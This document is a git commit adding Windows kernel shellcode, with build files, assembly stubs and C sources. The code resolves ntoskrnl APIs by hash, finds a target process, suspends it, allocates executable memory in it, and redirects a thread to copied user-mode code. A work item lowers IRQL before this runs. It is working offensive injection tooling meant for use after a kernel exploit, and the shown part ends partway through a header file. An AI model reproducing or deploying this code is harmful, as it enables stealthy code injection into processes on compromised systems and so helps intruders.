Commit current progress for stream.

This commit is contained in:
realoriginal
2020-09-12 04:08:08 -05:00
commit 0050825e49
24 changed files with 1646 additions and 0 deletions
+68
View File
@@ -0,0 +1,68 @@
#
# Builds the shellcode for AMD64/x86.
#
CC_X64 := x86_64-w64-mingw32-gcc
CC_X86 := i686-w64-mingw32-gcc
LINK64 := misc/link_x64.ld
LINK32 := misc/link_x86.ld
OUTX64 := shellcode.x64.exe
OUTX86 := shellcode.x86.exe
EXTX64 := EntryPointSc.x64.o
EXTX86 := EntryPointSc.x86.o
BINX64 := TransitionalPeriod.x64.bin
BINX86 := TransitionalPeriod.x86.bin
SOURCE := source/*.c
EXTASM := source/asm/EntryPointSc.asm
CFLAGS := -Os -fno-asynchronous-unwind-tables
CFLAGS := $(CFLAGS) -nostdlib -fno-ident
CFLAGS := $(CFLAGS) -fpack-struct=8 -falign-functions=1
CFLAGS := $(CFLAGS) -falign-jumps=1 -falign-labels=1 -falign-loops=1
CFLAGS := $(CFLAGS) -flto
LFLAGS := -Wl,-s,--no-seh,--enable-stdcall-fixup
all: $(EXTX86) $(EXTX64) $(OUTX86) $(OUTX64) $(BINX86) $(BINX64)
clean:
rm -rf $(OUTX64) $(OUTX86)
rm -rf $(EXTX64) $(EXTX86)
rm -rf $(BINX64) $(BINX86)
#
# x86 BIN
#
$(BINX86):
python3 misc/pedump.py $(OUTX86) $@
#
# x86 OBJ
#
$(EXTX86):
nasm -f win32 $(EXTASM) -o $@
#
# x86 EXE
#
$(OUTX86):
$(CC_X86) $(SOURCE) $(EXTX86) -o $@ $(CFLAGS) $(LFLAGS),-T$(LINK32)
#
# x64 BIN
#
$(BINX64):
python3 misc/pedump.py $(OUTX64) $@
#
# x64 OBJ
#
$(EXTX64):
nasm -f win64 $(EXTASM) -o $@
#
# x64 EXE
#
$(OUTX64):
$(CC_X64) $(SOURCE) $(EXTX64) -o $@ $(CFLAGS) $(LFLAGS),-T$(LINK64)
+9
View File
@@ -0,0 +1,9 @@
ENTRY(EnterKmMode)
SECTIONS
{
.text :
{
*(.text.EnterKmMode);
*(.text.*)
}
}
+9
View File
@@ -0,0 +1,9 @@
ENTRY(EnterKmMode)
SECTIONS
{
.text :
{
*(.text.EnterKmMode)
*(.text.*)
}
}
+34
View File
@@ -0,0 +1,34 @@
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import pefile
import struct
import sys
def EntryPoint(argv):
try:
if ( len(argv) < 3 ):
print("usage: %s [/path/to/sc.exe] [/path/to/raw.bin]" % argv[0]);
raise SystemExit;
else:
#
# Locates the .text section of the pe
# file and dumps it to a arbitrary
# file to disk.
#
fpe = pefile.PE(argv[1]);
raw = fpe.sections[0].get_data()
ofs = raw.index(b'\xcc\xcc\xcc\xcc');
raw = raw[:ofs];
siz = struct.pack('<I', len(raw));
raw = raw.replace(b'\x41\x41\x41\x41', siz);
bin = open(argv[2], 'wb+');
bin.write(raw);
bin.close();
except Exception as e:
print("error: %s" % e);
if __name__ in '__main__':
EntryPoint(sys.argv);
+139
View File
@@ -0,0 +1,139 @@
;;
;; Enter / Leave Points For UserMode / KernelMode
;;
global EnterKmMode
global LeaveKmMode
global _EnterUmMode
global _LeaveUmMode
segment .text$A
;;
;; ENTRYPOINT OF OUR SHELLCODE. CALLED FROM
;; KERNEL MODE.
;;
EnterKmMode:
;;
;; Locate the start of our code, and create
;; some shadow stack space.
;;
%ifidn __OUTPUT_FORMAT__, win32
incbin 'source/asm/get_pos.x86.bin'
push ebp
mov ebp, esp
%else
incbin 'source/asm/get_pos.x64.bin'
push rsi
mov rsi, rsp
and rsp, 0FFFFFFFFFFFFFFF0h
sub rsp, 020h
%endif
;;
;; Check the current IRQL Level. If we
;; are not PASSIVE_LEVEL, try and get
;; ourselves at a lower IRQL with
;; work items.
;;
;; ARG 1 : Buffer to Kernel Payload
;; ARG 2 : Length of Kernel Payload
;;
%ifidn __OUTPUT_FORMAT__, win32
extern _KmEntryPoint
extern _IrqlLowerIrql
push 0x41414141
push eax
call _IrqlLowerIrql
cmp eax, 1
je EndOfCode
call _KmEntryPoint
%else
extern KmEntryPoint
extern IrqlLowerIrql
push rax
pop rcx
push 0x41414141
pop rdx
call IrqlLowerIrql
cmp rax, 1
je EndOfCode
call KmEntryPoint
%endif
EndOfCode:
;;
;; Restores the original stack, and
;; returns back to the caller.
;;
%ifidn __OUTPUT_FORMAT__, win32
leave;
%else
mov rsp, rsi;
pop rsi;
%endif
ret
segment .text$D
;;
;; ENTRYPOINT OF OUR USERMODE. CALLED IN THE
;; TARGET PROCESS AND USED AS A WAY TO FIND
;; THE USERMODE LENGTH.
;;
_EnterUmMode:
%ifidn __OUTPUT_FORMAT__, win32
push ebp
mov ebp, esp
%else
push rsi
mov rsi, rsp
and rsp, 0FFFFFFFFFFFFFFF0h
sub rsp, 020h
%endif
%ifidn __OUTPUT_FORMAT__, win32
extern _UmEntryPoint
call _UmEntryPoint
leave;
%else
extern UmEntryPoint
call UmEntryPoint
mov rsp, rsi;
pop rsi;
%endif
ret
segment .text$G
;;
;; LEAVEPOINT OF OUR USERMODE. CALLED AND
;; USED AS A WAY TO FIND THE USERMODE LENGTH.
;;
_LeaveUmMode:
nop
segment .text$H
;;
;; LEAVEPOINT OF OUR KERNELMODE. IS NOT
;; CALLED AND USED AS A WAY TO FIND THE
;; KERNELMODE LENGTH.
;;
LeaveKmMode:
int3
int3
int3
int3
Binary file not shown.
Binary file not shown.
+82
View File
@@ -0,0 +1,82 @@
#ifndef COMMON_H
#define COMMON_H
#pragma intrinsic(memset)
#pragma intrinsic(memcpy)
//! External Includes
#include <intrin.h>
#include <limits.h>
#include <windows.h>
#include <ntstatus.h>
//! Structures / Hashes
#include "hashes.h"
#include "ntpeb.h"
#include "ntpcr.h"
#include "nt.h"
//! Remove NOP's
#define NOPPAD __attribute__((aligned(1)))
//! Custom Sections
#define KENTRY NOPPAD __attribute__((section(".text$B")))
#define KMFUNC NOPPAD __attribute__((section(".text$C")))
#define UENTRY NOPPAD __attribute__((section(".text$E")))
#define UMFUNC NOPPAD __attribute__((section(".text$F")))
#define SHARED NOPPAD __attribute__((section(".text$F")))
//! Macros
#define ZwCurrentProcess() ((HANDLE)-1)
#define UPTR(x) ((ULONG_PTR)x)
#define CPTR(x) ((PVOID)x)
#define FUNC(x) __typeof__(x) * x
//! KM Function Table
typedef struct
{
FUNC(PsLookupProcessByProcessId);
FUNC(PsGetProcessImageFileName);
FUNC(ZwQuerySystemInformation);
FUNC(PsLookupThreadByThreadId);
FUNC(ZwAllocateVirtualMemory);
FUNC(KeUnstackDetachProcess);
FUNC(KeStackAttachProcess);
FUNC(ZwFreeVirtualMemory);
FUNC(ObDereferenceObject);
FUNC(PsGetContextThread);
FUNC(PsSetContextThread);
FUNC(IoThreadToProcess);
FUNC(PsSuspendProcess);
FUNC(PsResumeProcess);
FUNC(KeGetCurrentIrql);
FUNC(ExQueueWorkItem);
FUNC(ExAllocatePool);
FUNC(ExFreePool);
} KM_API;
//! UM Function Table
typedef struct
{
} UM_API;
//! Internal Includes
#include "hash.h"
#include "proc.h"
#include "peb.h"
#include "pcr.h"
#include "pe.h"
#if defined(_WIN64)
extern VOID _EnterUmMode();
extern VOID _LeaveUmMode();
#define EnterUmMode _EnterUmMode
#define LeaveUmMode _LeaveUmMode
#else
extern VOID EnterUmMode();
extern VOID LeaveUmMode();
#endif
#endif // END COMMON_H
+37
View File
@@ -0,0 +1,37 @@
#include "common.h"
SHARED ULONG HashString( IN PVOID Inp, IN ULONG Len )
{
ULONG hsh;
PUCHAR ptr;
UCHAR cur;
hsh = 5381;
ptr = Inp;
while ( TRUE )
{
cur = * ptr;
if ( ! Len ) {
if ( ! * ptr ) {
break;
};
} else {
if ( ( ULONG )( ptr - ( PUCHAR )Inp ) >= Len ) {
break;
};
if ( ! * ptr ) {
++ptr; continue;
};
};
if ( cur >= 'a' )
cur -= 0x20;
hsh = ((hsh << 5) + hsh) + cur; ++ptr;
};
return hsh;
};
+7
View File
@@ -0,0 +1,7 @@
#ifndef HASH_H
#define HASH_H
SHARED ULONG HashString( IN PVOID Inp, IN ULONG Len );
#endif // END HASH_H
+29
View File
@@ -0,0 +1,29 @@
#ifndef HASHES_H
#define HASHES_H
//! Precalculated DJB2 Hashes.
#define H_KERNEL32 0x6ddb9555
#define H_NTOSKRNL 0xa3ad0390
#define H_NTDLL 0x1edab0ed
#define H_EXFREEPOOL 0x3f7747de
#define H_EXALLOCATEPOOL 0xa1fe8ce1
#define H_EXQUEUEWORKITEM 0xd6b8d919
#define H_PSRESUMEPROCESS 0x924633f8
#define H_KEGETCURRENTIRQL 0xee1c9930
#define H_PSSUSPENDPROCESS 0xc4464249
#define H_IOTHREADTOPROCESS 0xdb00c717
#define H_PSSETCONTEXTTHREAD 0x48f32151
#define H_PSGETCONTEXTTHREAD 0xb6755ac5
#define H_ZWFREEVIRTUALMEMORY 0x3c81f778
#define H_OBDEREFERENCEOBJECT 0x3de33965
#define H_KESTACKATTACHPROCESS 0x743362bf
#define H_KEUNSTACKDETACHPROCESS 0xcf8145d6
#define H_ZWALLOCATEVIRTUALMEMORY 0xb20c09db
#define H_ZWQUERYSYSTEMINFORMATION 0x8754a7f7
#define H_PSLOOKUPTHREADBYTHREADID 0x5eb140fa
#define H_PSGETPROCESSIMAGEFILENAME 0x73980d6b
#define H_PSLOOKUPPROCESSBYPROCESSID 0x0009b1c8
#endif // END HASHES_H
+58
View File
@@ -0,0 +1,58 @@
#include "common.h"
/*!
*
* @brief Checks if the current IRQL is at PASSSIVE_LEVEL.
* If it is not, it creates an kernel work item,
* and queue's it to be executed as PASSIVE_LEVEL.
*
* @param None.
*
!*/
KMFUNC BOOL WINAPI IrqlLowerIrql( IN PVOID Ptr, IN ULONG Len )
{
PVOID ntp;
PVOID mem;
PWORK_QUEUE_ITEM itm;
KM_API api;
ntp = PcrNtPointer();
if ( ntp )
{
api.ExFreePool = PeGetFuncEat( ntp, H_EXFREEPOOL );
api.ExAllocatePool = PeGetFuncEat( ntp, H_EXALLOCATEPOOL );
api.ExQueueWorkItem = PeGetFuncEat( ntp, H_EXQUEUEWORKITEM );
api.KeGetCurrentIrql = PeGetFuncEat( ntp, H_KEGETCURRENTIRQL );
if ( api.ExQueueWorkItem && api.ExAllocatePool && api.KeGetCurrentIrql )
{
if ( api.KeGetCurrentIrql() != PASSIVE_LEVEL )
{
itm = api.ExAllocatePool( NonPagedPool, sizeof(WORK_QUEUE_ITEM) );
mem = api.ExAllocatePool( NonPagedPool, Len );
if ( mem && itm )
{
__builtin_memset( itm,'\0', sizeof(WORK_QUEUE_ITEM) );
__builtin_memcpy( mem, Ptr, Len );
itm->Routine = CPTR( mem );
api.ExQueueWorkItem( itm, DelayedWorkQueue );
return TRUE;
};
if ( mem )
api.ExFreePool( mem );
if ( itm )
api.ExFreePool( itm );
};
};
};
return FALSE;
};
+73
View File
@@ -0,0 +1,73 @@
#include "common.h"
KENTRY void KmEntryPoint( VOID )
{
PCONTEXT ctx;
NTSTATUS ret;
PVOID mem;
PVOID ent;
PVOID ntp;
PVOID prc;
PVOID thd;
ULONG_PTR len;
KAPC_STATE apc;
KM_API api;
if ( (ntp = PcrGetModule( H_NTOSKRNL )) != NULL )
{
api.PsResumeProcess = PeGetFuncEat( ntp, H_PSRESUMEPROCESS );
api.PsSuspendProcess = PeGetFuncEat( ntp, H_PSSUSPENDPROCESS );
api.IoThreadToProcess = PeGetFuncEat( ntp, H_IOTHREADTOPROCESS );
api.PsSetContextThread = PeGetFuncEat( ntp, H_PSSETCONTEXTTHREAD );
api.PsGetContextThread = PeGetFuncEat( ntp, H_PSGETCONTEXTTHREAD );
api.ZwFreeVirtualMemory = PeGetFuncEat( ntp, H_ZWFREEVIRTUALMEMORY );
api.ObDereferenceObject = PeGetFuncEat( ntp, H_OBDEREFERENCEOBJECT );
api.KeStackAttachProcess = PeGetFuncEat( ntp, H_KESTACKATTACHPROCESS );
api.KeUnstackDetachProcess = PeGetFuncEat( ntp, H_KEUNSTACKDETACHPROCESS );
api.ZwAllocateVirtualMemory = PeGetFuncEat( ntp, H_ZWALLOCATEVIRTUALMEMORY );
api.PsLookupThreadByThreadId = PeGetFuncEat( ntp, H_PSLOOKUPTHREADBYTHREADID );
api.PsGetProcessImageFileName = PeGetFuncEat( ntp, H_PSGETPROCESSIMAGEFILENAME );
api.PsLookupProcessByProcessId = PeGetFuncEat( ntp, H_PSLOOKUPPROCESSBYPROCESSID );
if ( (prc = ProcEnumProcess( &api, 0x5e3a79e0 )) != NULL )
{
api.KeStackAttachProcess( prc, &apc );
if ( ! (ret = api.PsSuspendProcess( prc )) )
{
if ( (thd = ProcEnumThreads( &api, prc )) != NULL )
{
if ( (ctx = ProcGetThreadCtx( &api, thd )) != NULL )
{
ent = CPTR( &EnterUmMode );
len = UPTR( &LeaveUmMode ) - UPTR( &EnterUmMode );
if ( (mem = ProcAllocateMem( &api, len, PAGE_EXECUTE_READWRITE )) != NULL )
{
__builtin_memcpy( mem, ent, len );
#if defined(_WIN64)
ctx->Rip = UPTR( mem );
ctx->ContextFlags = CONTEXT_FULL;
#else
ctx->Eip = UPTR( mem );
ctx->ContextFlags = CONTEXT_FULL;
#endif
ProcSetThreadCtx( &api, thd, ctx );
};
};
};
api.PsResumeProcess( prc );
};
api.KeUnstackDetachProcess( &apc );
};
};
};
UENTRY void UmEntryPoint( VOID )
{
};
+203
View File
@@ -0,0 +1,203 @@
#ifndef NT_H
#define NT_H
typedef enum _KPROCESSOR_MODE
{
KernelMode,
UserMode
} KPROCESSOR_MODE;
typedef enum _KIRQL
{
PASSIVE_LEVEL = 0,
APC_LEVEL = 1,
DISPATCH_LEVEL = 2
} KIRQL;
typedef enum _WORK_QUEUE_TYPE
{
CriticalWorkQueue,
DelayedWorkQueue
} WORK_QUEUE_TYPE;
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemModuleInformation = 11
} SYSTEM_INFORMATION_CLASS;
typedef enum _POOL_TYPE
{
NonPagedPool,
PagedPool,
NonPagedPoolMustSucceed,
ReservedType,
NonPagedPoolCacheAligned,
PagedPoolCacheAligned
} POOL_TYPE;
typedef struct _KAPC_STATE
{
LIST_ENTRY ApcListHead[2];
PVOID Process;
UCHAR KernelApcInProgress;
UCHAR KernelApcPending;
UCHAR UserApcPending;
} KAPC_STATE, *PKAPC_STATE;
typedef struct _WORK_QUEUE_ITEM
{
LIST_ENTRY List;
PVOID Routine;
PVOID Parameter;
} WORK_QUEUE_ITEM, *PWORK_QUEUE_ITEM;
typedef struct _SYSTEM_MODULE_ENTRY
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[ MAX_PATH - 4 ];
} SYSTEM_MODULE_ENTRY, *PSYSTEM_MODULE_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Count;
SYSTEM_MODULE_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
NTSTATUS
NTAPI
ZwQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
IN PVOID ReturnLength
);
PVOID
NTAPI
ExAllocatePool(
IN POOL_TYPE PoolType,
IN SIZE_T NumberOfBytes
);
VOID
NTAPI
ExFreePool(
IN PVOID a
);
VOID
NTAPI
ExQueueWorkItem(
IN PWORK_QUEUE_ITEM WorkItem,
IN WORK_QUEUE_TYPE QueueType
);
KIRQL
NTAPI
KeGetCurrentIrql(
IN VOID
);
NTSTATUS
NTAPI
PsLookupProcessByProcessId(
IN HANDLE ProcessId,
IN PVOID* Process
);
NTSTATUS
NTAPI
PsLookupThreadByThreadId(
IN HANDLE ThreadId,
IN PVOID* Thread
);
PCHAR
NTAPI
PsGetProcessImageFileName(
IN PVOID Process
);
VOID
NTAPI
ObDereferenceObject(
IN PVOID Object
);
NTSTATUS
NTAPI
PsResumeProcess(
IN PVOID Process
);
NTSTATUS
NTAPI
PsSuspendProcess(
IN PVOID Process
);
PVOID
NTAPI
IoThreadToProcess(
IN PVOID Thread
);
VOID
NTAPI
KeStackAttachProcess(
IN PVOID Process,
IN PKAPC_STATE State
);
VOID
NTAPI
KeUnstackDetachProcess(
IN PKAPC_STATE State
);
NTSTATUS
NTAPI
ZwAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID* BaseAddress,
IN ULONG_PTR ZeroBits,
IN PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
NTSTATUS
NTAPI
ZwFreeVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID* BaseAddress,
IN PSIZE_T RegionSize,
IN ULONG FreeType
);
NTSTATUS
NTAPI
PsGetContextThread(
IN PVOID Thread,
IN PCONTEXT ThreadContext,
IN KPROCESSOR_MODE Mode
);
NTSTATUS
NTAPI
PsSetContextThread(
IN PVOID Thread,
IN PCONTEXT ThreadContext,
IN KPROCESSOR_MODE Mode
);
#endif
+97
View File
@@ -0,0 +1,97 @@
#ifndef NTPCR_H
#define NTPCR_H
#if defined(_WIN64)
typedef union _KIDTENTRY64
{
union
{
struct
{
USHORT OffsetLow;
USHORT Selector;
struct
{
USHORT IstIndex : 3;
USHORT Reserved0 : 5;
USHORT Type : 5;
USHORT Dpl : 2;
USHORT Present : 1;
};
USHORT OffsetMiddle;
ULONG OffsetHigh;
ULONG Reserved1;
};
ULONGLONG Alignment;
};
} KIDTENTRY64, *PKIDTENTRY64;
typedef struct _KPCR
{
union
{
NT_TIB NtTib;
struct
{
PVOID GdtBase;
PVOID TssBase;
PVOID UserRsp;
struct _KPCR * Self;
PVOID CurrentPcrb;
PVOID LockArray;
PVOID Used_Self;
};
};
PKIDTENTRY64 IdtBase;
ULONGLONG Padding[2];
UCHAR Irql;
} KPCR, *PKPCR;
#define PcrGetPtr() ( PKPCR ) __readgsqword( FIELD_OFFSET(KPCR, Self) )
#else
typedef struct _KIDTENTRY
{
USHORT OffsetLow;
USHORT Selector;
USHORT Access;
USHORT ExtendedOffset;
} KIDTENTRY, *PKIDTENTRY;
typedef struct _KPCR
{
union
{
NT_TIB NtTib;
struct
{
PVOID Used_ExceptionList;
PVOID Used_StackBase;
PVOID Spare2;
PVOID TssCopy;
ULONG ContextSwitches;
ULONG SetMemberCopy;
PVOID Used_Self;
};
};
struct _KPCR * Self;
PVOID Prcb;
UCHAR Irql;
ULONG IRR;
ULONG IrrActive;
ULONG IDR;
PVOID KdVersionBlock;
PKIDTENTRY IdtBase;
} KPCR, *PKPCR;
#define PcrGetPtr() ( PKPCR ) __readfsdword( FIELD_OFFSET(KPCR, Self) )
#endif
#endif
+366
View File
@@ -0,0 +1,366 @@
/**
BSD 3-Clause License
Copyright (c) 2019, TheWover, Odzhan. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef NTPEB_H
#define NTPEB_H
#include <windows.h>
typedef void *PPS_POST_PROCESS_INIT_ROUTINE;
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;
typedef struct _STRING {
USHORT Length;
USHORT MaximumLength;
PCHAR Buffer;
} STRING, *PSTRING, ANSI_STRING, *PANSI_STRING;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
// PEB defined by rewolf
// http://blog.rewolf.pl/blog/?p=573
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOL Initialized;
LPVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
LPVOID DllBase;
LPVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB {
BYTE InheritedAddressSpace;
BYTE ReadImageFileExecOptions;
BYTE BeingDebugged;
BYTE _SYSTEM_DEPENDENT_01;
LPVOID Mutant;
LPVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
LPVOID SubSystemData;
LPVOID ProcessHeap;
LPVOID FastPebLock;
LPVOID _SYSTEM_DEPENDENT_02;
LPVOID _SYSTEM_DEPENDENT_03;
LPVOID _SYSTEM_DEPENDENT_04;
union {
LPVOID KernelCallbackTable;
LPVOID UserSharedInfoPtr;
};
DWORD SystemReserved;
DWORD _SYSTEM_DEPENDENT_05;
LPVOID _SYSTEM_DEPENDENT_06;
LPVOID TlsExpansionCounter;
LPVOID TlsBitmap;
DWORD TlsBitmapBits[2];
LPVOID ReadOnlySharedMemoryBase;
LPVOID _SYSTEM_DEPENDENT_07;
LPVOID ReadOnlyStaticServerData;
LPVOID AnsiCodePageData;
LPVOID OemCodePageData;
LPVOID UnicodeCaseTableData;
DWORD NumberOfProcessors;
union
{
DWORD NtGlobalFlag;
LPVOID dummy02;
};
LARGE_INTEGER CriticalSectionTimeout;
LPVOID HeapSegmentReserve;
LPVOID HeapSegmentCommit;
LPVOID HeapDeCommitTotalFreeThreshold;
LPVOID HeapDeCommitFreeBlockThreshold;
DWORD NumberOfHeaps;
DWORD MaximumNumberOfHeaps;
LPVOID ProcessHeaps;
LPVOID GdiSharedHandleTable;
LPVOID ProcessStarterHelper;
LPVOID GdiDCAttributeList;
LPVOID LoaderLock;
DWORD OSMajorVersion;
DWORD OSMinorVersion;
WORD OSBuildNumber;
WORD OSCSDVersion;
DWORD OSPlatformId;
DWORD ImageSubsystem;
DWORD ImageSubsystemMajorVersion;
LPVOID ImageSubsystemMinorVersion;
union
{
LPVOID ImageProcessAffinityMask;
LPVOID ActiveProcessAffinityMask;
};
#ifdef _WIN64
LPVOID GdiHandleBuffer[64];
#else
LPVOID GdiHandleBuffer[32];
#endif
LPVOID PostProcessInitRoutine;
LPVOID TlsExpansionBitmap;
DWORD TlsExpansionBitmapBits[32];
LPVOID SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
LPVOID pShimData;
LPVOID AppCompatInfo;
PUNICODE_STRING CSDVersion;
LPVOID ActivationContextData;
LPVOID ProcessAssemblyStorageMap;
LPVOID SystemDefaultActivationContextData;
LPVOID SystemAssemblyStorageMap;
LPVOID MinimumStackCommit;
} PEB, *PPEB;
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME *PRTL_ACTIVATION_CONTEXT_STACK_FRAME;
typedef struct _ACTIVATION_CONTEXT *PACTIVATION_CONTEXT;
typedef struct _TEB_ACTIVE_FRAME *PTEB_ACTIVE_FRAME;
typedef struct _TEB_ACTIVE_FRAME_CONTEXT *PTEB_ACTIVE_FRAME_CONTEXT;
typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
PRTL_ACTIVATION_CONTEXT_STACK_FRAME Previous;
PACTIVATION_CONTEXT *ActivationContext;
ULONG Flags;
} RTL_ACTIVATION_CONTEXT_STACK_FRAME, *PRTL_ACTIVATION_CONTEXT_STACK_FRAME;
typedef struct _ACTIVATION_CONTEXT_STACK
{
PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
LIST_ENTRY FrameListCache;
ULONG Flags;
ULONG NextCookieSequenceNumber;
ULONG StackId;
} ACTIVATION_CONTEXT_STACK, *PACTIVATION_CONTEXT_STACK;
#define GDI_BATCH_BUFFER_SIZE 310
typedef struct _GDI_TEB_BATCH
{
ULONG Offset;
ULONG_PTR HDC;
ULONG Buffer[GDI_BATCH_BUFFER_SIZE];
} GDI_TEB_BATCH, *PGDI_TEB_BATCH;
typedef struct _TEB_ACTIVE_FRAME_CONTEXT
{
ULONG Flags;
PSTR FrameName;
} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT;
typedef struct _TEB_ACTIVE_FRAME
{
ULONG Flags;
struct _TEB_ACTIVE_FRAME *Previous;
PTEB_ACTIVE_FRAME_CONTEXT Context;
} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME;
#if !defined(_MSC_VER)
typedef struct _PROCESSOR_NUMBER {
USHORT Group;
UCHAR Number;
UCHAR Reserved;
} PROCESSOR_NUMBER, *PPROCESSOR_NUMBER;
#endif
typedef struct _TEB
{
NT_TIB NtTib;
PVOID EnvironmentPointer;
CLIENT_ID ClientId;
PVOID ActiveRpcHandle;
PVOID ThreadLocalStoragePointer;
PPEB ProcessEnvironmentBlock;
ULONG LastErrorValue;
ULONG CountOfOwnedCriticalSections;
PVOID CsrClientThread;
PVOID Win32ThreadInfo;
ULONG User32Reserved[26];
ULONG UserReserved[5];
PVOID WOW32Reserved;
LCID CurrentLocale;
ULONG FpSoftwareStatusRegister;
PVOID SystemReserved1[54];
NTSTATUS ExceptionCode;
PVOID ActivationContextStackPointer;
#ifdef _M_X64
UCHAR SpareBytes[24];
#else
UCHAR SpareBytes[36];
#endif
ULONG TxFsContext;
GDI_TEB_BATCH GdiTebBatch;
CLIENT_ID RealClientId;
HANDLE GdiCachedProcessHandle;
ULONG GdiClientPID;
ULONG GdiClientTID;
PVOID GdiThreadLocalInfo;
ULONG_PTR Win32ClientInfo[62];
PVOID glDispatchTable[233];
ULONG_PTR glReserved1[29];
PVOID glReserved2;
PVOID glSectionInfo;
PVOID glSection;
PVOID glTable;
PVOID glCurrentRC;
PVOID glContext;
NTSTATUS LastStatusValue;
UNICODE_STRING StaticUnicodeString;
WCHAR StaticUnicodeBuffer[261];
PVOID DeallocationStack;
PVOID TlsSlots[64];
LIST_ENTRY TlsLinks;
PVOID Vdm;
PVOID ReservedForNtRpc;
PVOID DbgSsReserved[2];
ULONG HardErrorMode;
#ifdef _M_X64
PVOID Instrumentation[11];
#else
PVOID Instrumentation[9];
#endif
GUID ActivityId;
PVOID SubProcessTag;
PVOID EtwLocalData;
PVOID EtwTraceData;
PVOID WinSockData;
ULONG GdiBatchCount;
union
{
PROCESSOR_NUMBER CurrentIdealProcessor;
ULONG IdealProcessorValue;
struct
{
UCHAR ReservedPad0;
UCHAR ReservedPad1;
UCHAR ReservedPad2;
UCHAR IdealProcessor;
};
};
ULONG GuaranteedStackBytes;
PVOID ReservedForPerf;
PVOID ReservedForOle;
ULONG WaitingOnLoaderLock;
PVOID SavedPriorityState;
ULONG_PTR SoftPatchPtr1;
PVOID ThreadPoolData;
PVOID *TlsExpansionSlots;
#ifdef _M_X64
PVOID DeallocationBStore;
PVOID BStoreLimit;
#endif
ULONG MuiGeneration;
ULONG IsImpersonating;
PVOID NlsCache;
PVOID pShimData;
ULONG HeapVirtualAffinity;
HANDLE CurrentTransactionHandle;
PTEB_ACTIVE_FRAME ActiveFrame;
PVOID FlsData;
PVOID PreferredLanguages;
PVOID UserPrefLanguages;
PVOID MergedPrefLanguages;
ULONG MuiImpersonation;
union
{
USHORT CrossTebFlags;
USHORT SpareCrossTebBits : 16;
};
union
{
USHORT SameTebFlags;
struct
{
USHORT SafeThunkCall : 1;
USHORT InDebugPrint : 1;
USHORT HasFiberData : 1;
USHORT SkipThreadAttach : 1;
USHORT WerInShipAssertCode : 1;
USHORT RanProcessInit : 1;
USHORT ClonedThread : 1;
USHORT SuppressDebugMsg : 1;
USHORT DisableUserStackWalk : 1;
USHORT RtlExceptionAttached : 1;
USHORT InitialThread : 1;
USHORT SessionAware : 1;
USHORT SpareSameTebBits : 4;
};
};
PVOID TxnScopeEnterCallback;
PVOID TxnScopeExitCallback;
PVOID TxnScopeContext;
ULONG LockCount;
